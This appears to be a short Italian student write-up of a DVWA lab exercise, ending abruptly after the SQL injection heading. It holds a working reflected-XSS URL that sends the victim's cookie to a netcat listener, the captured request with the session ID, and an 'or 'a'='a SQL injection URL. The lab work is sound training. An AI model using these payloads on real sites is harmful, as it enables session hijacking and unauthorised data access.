Esercizio S6-L2

URL Passato alla vittima per l'XSS reflected:

http://192.168.49.101/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F127.0.0.1%3A12345%2Findex.html%3F%27%2Bdocument.cookie%3B%3C%2Fscript%3E#

Risultato ottenuto dall'attaccante:

```
C:\home\kali> nc -l -p 12345
GET /index.html?security=low;%20PHPSESSID=fba62e882231db585cf7718c44447902 HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://192.168.49.101/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
```

URL Passato alla vittima per l'SQL Injection:

http://192.168.49.101/dvwa/vulnerabilities/sqli/?id=%27or+%27a%27%3D%27a&Submit=Submit#

Risultato ottenuto dall'attaccante: